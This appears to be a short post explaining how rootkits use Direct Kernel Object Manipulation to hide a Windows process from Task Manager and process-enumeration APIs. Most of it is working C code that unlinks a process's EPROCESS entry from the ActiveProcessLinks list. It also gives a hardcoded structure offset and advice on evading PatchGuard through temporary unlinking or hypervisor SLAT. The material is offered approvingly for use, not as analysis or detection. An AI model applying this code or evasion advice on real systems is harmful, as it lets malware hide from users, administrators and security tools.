How Direct Kernel Object Manipulation (DKOM) hides processes from Task Manager:

1. Locate target EPROCESS structure.
2. EPROCESS.ActiveProcessLinks is a circular doubly-linked list (LIST_ENTRY at offset 0x448 on Windows 10/11).
3. Unlink the process node:

PLIST_ENTRY pCurrent = &pTargetEProcess->ActiveProcessLinks;
PLIST_ENTRY pPrev = pCurrent->Blink;
PLIST_ENTRY pNext = pCurrent->Flink;
pPrev->Flink = pNext;
pNext->Blink = pPrev;
// Point unlinked entry to itself to prevent crashes on process exit
pCurrent->Flink = pCurrent;
pCurrent->Blink = pCurrent;

Target process disappears from CreateToolhelp32Snapshot and EnumProcesses instantly!

Remember that PatchGuard periodically verifies ActiveProcessLinks integrity, so unlinking must be temporary or done through hypervisor SLAT.

Classic DKOM technique. Clean C code.